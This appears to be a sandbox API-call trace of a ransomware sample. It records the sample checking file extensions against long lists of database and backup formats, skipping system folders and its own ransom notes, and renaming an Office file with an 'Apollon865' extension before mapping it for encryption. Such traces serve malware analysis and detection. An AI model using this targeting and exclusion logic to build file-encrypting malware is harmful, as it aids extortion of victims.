	[0080.961] lstrlenW (lpString="ecx") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0080.961] lstrlenW (lpString="edb") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0080.961] lstrlenW (lpString="epim") returned 4
	[0080.961] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0080.961] lstrlenW (lpString="fcd") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0080.961] lstrlenW (lpString="fdb") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0080.961] lstrlenW (lpString="fic") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0080.961] lstrlenW (lpString="flexolibrary") returned 12
	[0080.961] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0080.961] lstrlenW (lpString="fm5") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0080.961] lstrlenW (lpString="fmp") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0080.961] lstrlenW (lpString="fmp12") returned 5
	[0080.961] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0080.961] lstrlenW (lpString="fmpsl") returned 5
	[0080.961] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0080.961] lstrlenW (lpString="fol") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0080.961] lstrlenW (lpString="fp3") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0080.961] lstrlenW (lpString="fp4") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0080.961] lstrlenW (lpString="fp5") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0080.961] lstrlenW (lpString="fp7") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0080.962] lstrlenW (lpString="fpt") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0080.962] lstrlenW (lpString="frm") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0080.962] lstrlenW (lpString="gdb") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.962] lstrlenW (lpString="gdb") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.962] lstrlenW (lpString="grdb") returned 4
	[0080.962] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0080.962] lstrlenW (lpString="gwi") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0080.962] lstrlenW (lpString="hdb") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0080.962] lstrlenW (lpString="his") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0080.962] lstrlenW (lpString="ib") returned 2
	[0080.962] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0080.962] lstrlenW (lpString="idb") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0080.962] lstrlenW (lpString="ihx") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0080.962] lstrlenW (lpString="itdb") returned 4
	[0080.962] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0080.962] lstrlenW (lpString="itw") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0080.962] lstrlenW (lpString="jet") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0080.962] lstrlenW (lpString="jtx") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0080.962] lstrlenW (lpString="kdb") returned 3
	[0080.962] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0080.962] lstrlenW (lpString="kexi") returned 4
	[0080.962] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0080.963] lstrlenW (lpString="kexic") returned 5
	[0080.963] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0080.963] lstrlenW (lpString="kexis") returned 5
	[0080.963] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0080.963] lstrlenW (lpString="lgc") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0080.963] lstrlenW (lpString="lwx") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0080.963] lstrlenW (lpString="maf") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0080.963] lstrlenW (lpString="maq") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0080.963] lstrlenW (lpString="mar") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0080.963] lstrlenW (lpString="marshal") returned 7
	[0080.963] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0080.963] lstrlenW (lpString="mas") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0080.963] lstrlenW (lpString="mav") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0080.963] lstrlenW (lpString="maw") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0080.963] lstrlenW (lpString="mdbhtml") returned 7
	[0080.963] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0080.963] lstrlenW (lpString="mdn") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0080.963] lstrlenW (lpString="mdt") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0080.963] lstrlenW (lpString="mfd") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0080.963] lstrlenW (lpString="mpd") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0080.963] lstrlenW (lpString="mrg") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0080.963] lstrlenW (lpString="mud") returned 3
	[0080.963] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0080.964] lstrlenW (lpString="mwb") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0080.964] lstrlenW (lpString="myd") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0080.964] lstrlenW (lpString="ndf") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0080.964] lstrlenW (lpString="nnt") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0080.964] lstrlenW (lpString="nrmlib") returned 6
	[0080.964] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0080.964] lstrlenW (lpString="ns2") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0080.964] lstrlenW (lpString="ns3") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0080.964] lstrlenW (lpString="ns4") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0080.964] lstrlenW (lpString="nsf") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0080.964] lstrlenW (lpString="nv") returned 2
	[0080.964] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0080.964] lstrlenW (lpString="nv2") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0080.964] lstrlenW (lpString="nwdb") returned 4
	[0080.964] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0080.964] lstrlenW (lpString="nyf") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0080.964] lstrlenW (lpString="odb") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.964] lstrlenW (lpString="odb") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.964] lstrlenW (lpString="oqy") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0080.964] lstrlenW (lpString="ora") returned 3
	[0080.964] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0080.965] lstrlenW (lpString="orx") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0080.965] lstrlenW (lpString="owc") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0080.965] lstrlenW (lpString="p96") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0080.965] lstrlenW (lpString="p97") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0080.965] lstrlenW (lpString="pan") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0080.965] lstrlenW (lpString="pdb") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0080.965] lstrlenW (lpString="pdm") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0080.965] lstrlenW (lpString="pnz") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0080.965] lstrlenW (lpString="qry") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0080.965] lstrlenW (lpString="qvd") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0080.965] lstrlenW (lpString="rbf") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0080.965] lstrlenW (lpString="rctd") returned 4
	[0080.965] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0080.965] lstrlenW (lpString="rod") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0080.965] lstrlenW (lpString="rodx") returned 4
	[0080.965] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0080.965] lstrlenW (lpString="rpd") returned 3
	[0080.965] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0080.966] lstrlenW (lpString="rsd") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0080.966] lstrlenW (lpString="sas7bdat") returned 8
	[0080.966] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0080.966] lstrlenW (lpString="sbf") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0080.966] lstrlenW (lpString="scx") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0080.966] lstrlenW (lpString="sdb") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0080.966] lstrlenW (lpString="sdc") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0080.966] lstrlenW (lpString="sdf") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0080.966] lstrlenW (lpString="sis") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0080.966] lstrlenW (lpString="spq") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0080.966] lstrlenW (lpString="te") returned 2
	[0080.966] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0080.966] lstrlenW (lpString="teacher") returned 7
	[0080.966] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0080.966] lstrlenW (lpString="tmd") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0080.966] lstrlenW (lpString="tps") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0080.966] lstrlenW (lpString="trc") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.966] lstrlenW (lpString="trc") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.966] lstrlenW (lpString="trm") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0080.966] lstrlenW (lpString="udb") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0080.966] lstrlenW (lpString="udl") returned 3
	[0080.966] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0080.967] lstrlenW (lpString="usr") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0080.967] lstrlenW (lpString="v12") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0080.967] lstrlenW (lpString="vis") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0080.967] lstrlenW (lpString="vpd") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0080.967] lstrlenW (lpString="vvv") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0080.967] lstrlenW (lpString="wdb") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0080.967] lstrlenW (lpString="wmdb") returned 4
	[0080.967] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0080.967] lstrlenW (lpString="wrk") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0080.967] lstrlenW (lpString="xdb") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0080.967] lstrlenW (lpString="xld") returned 3
	[0080.967] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0080.967] lstrlenW (lpString="xmlff") returned 5
	[0080.967] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0080.967] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.Apollon865") returned 80
	[0080.967] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0080.969] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.970] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=294240) returned 1
	[0080.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.970] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.971] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.971] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.971] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48060, lpName=0x0) returned 0x15c
	[0080.972] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48060) returned 0x210000
	[0080.988] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.988] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.988] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.989] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.989] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0080.992] CloseHandle (hObject=0x15c) returned 1
	[0080.992] CloseHandle (hObject=0x9c) returned 1
	[0080.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.992] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.993] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0xc160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MOR6INT.REST.trx_dll", cAlternateFileName="MOR6IN~1.TRX")) returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="..") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="windows") returned -1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="bootmgr") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="temp") returned -1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="boot") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="ids.txt") returned 1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="ntuser.dat") returned -1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="perflogs") returned -1
	[0080.993] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2="MSBuild") returned -1
	[0080.993] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0080.993] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned 69
	[0080.994] lstrcpyW (in: lpString1=0x119e670, lpString2="MOR6INT.REST.trx_dll" | out: lpString1="MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll"
	[0080.994] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0080.994] lstrlenW (lpString="Apollon865") returned 10
	[0080.994] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0080.994] lstrlenW (lpString=".dll") returned 4
	[0080.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".dll") returned 1
	[0080.994] lstrlenW (lpString=".lnk") returned 4
	[0080.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".lnk") returned 1
	[0080.994] lstrlenW (lpString=".ini") returned 4
	[0080.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".ini") returned 1
	[0080.994] lstrlenW (lpString=".sys") returned 4
	[0080.994] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".sys") returned 1
	[0080.994] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0080.994] lstrlenW (lpString="bak") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0080.994] lstrlenW (lpString="ba_") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0080.994] lstrlenW (lpString="dbb") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0080.994] lstrlenW (lpString="vmdk") returned 4
	[0080.994] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0080.994] lstrlenW (lpString="rar") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0080.994] lstrlenW (lpString="zip") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0080.994] lstrlenW (lpString="tgz") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0080.994] lstrlenW (lpString="vbox") returned 4
	[0080.994] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0080.994] lstrlenW (lpString="vdi") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0080.994] lstrlenW (lpString="vhd") returned 3
	[0080.994] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0080.994] lstrlenW (lpString="vhdx") returned 4
	[0080.994] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0080.995] lstrlenW (lpString="avhd") returned 4
	[0080.995] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0080.995] lstrlenW (lpString="db") returned 2
	[0080.995] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0080.995] lstrlenW (lpString="db2") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0080.995] lstrlenW (lpString="db3") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0080.995] lstrlenW (lpString="dbf") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0080.995] lstrlenW (lpString="mdf") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0080.995] lstrlenW (lpString="mdb") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0080.995] lstrlenW (lpString="sql") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0080.995] lstrlenW (lpString="sqlite") returned 6
	[0080.995] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0080.995] lstrlenW (lpString="sqlite3") returned 7
	[0080.995] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0080.995] lstrlenW (lpString="sqlitedb") returned 8
	[0080.995] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0080.995] lstrlenW (lpString="xml") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0080.995] lstrlenW (lpString="$er") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0080.995] lstrlenW (lpString="4dd") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0080.995] lstrlenW (lpString="4dl") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0080.995] lstrlenW (lpString="^^^") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0080.995] lstrlenW (lpString="abs") returned 3
	[0080.995] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0080.995] lstrlenW (lpString="abx") returned 3
	[0080.996] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0080.996] lstrlenW (lpString="accdb") returned 5
	[0080.996] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0080.996] lstrlenW (lpString="accdc") returned 5
	[0080.997] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0080.997] lstrlenW (lpString="accde") returned 5
	[0080.997] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0080.997] lstrlenW (lpString="accdr") returned 5
	[0080.997] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0080.997] lstrlenW (lpString="accdt") returned 5
	[0080.997] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0080.997] lstrlenW (lpString="accdw") returned 5
	[0080.997] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0080.997] lstrlenW (lpString="accft") returned 5
	[0080.997] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0080.997] lstrlenW (lpString="adb") returned 3
	[0080.997] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.997] lstrlenW (lpString="adb") returned 3
	[0080.997] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.997] lstrlenW (lpString="ade") returned 3
	[0080.997] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0080.997] lstrlenW (lpString="adf") returned 3
	[0080.997] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0080.997] lstrlenW (lpString="adn") returned 3
	[0080.997] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0080.997] lstrlenW (lpString="adp") returned 3
	[0080.997] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0080.998] lstrlenW (lpString="alf") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0080.998] lstrlenW (lpString="ask") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0080.998] lstrlenW (lpString="btr") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0080.998] lstrlenW (lpString="cat") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0080.998] lstrlenW (lpString="cdb") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0080.998] lstrlenW (lpString="ckp") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0080.998] lstrlenW (lpString="cma") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0080.998] lstrlenW (lpString="cpd") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0080.998] lstrlenW (lpString="dacpac") returned 6
	[0080.998] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0080.998] lstrlenW (lpString="dad") returned 3
	[0080.998] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0080.998] lstrlenW (lpString="dadiagrams") returned 10
	[0080.998] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0080.998] lstrlenW (lpString="daschema") returned 8
	[0080.998] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0080.998] lstrlenW (lpString="db-journal") returned 10
	[0080.998] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0080.998] lstrlenW (lpString="db-shm") returned 6
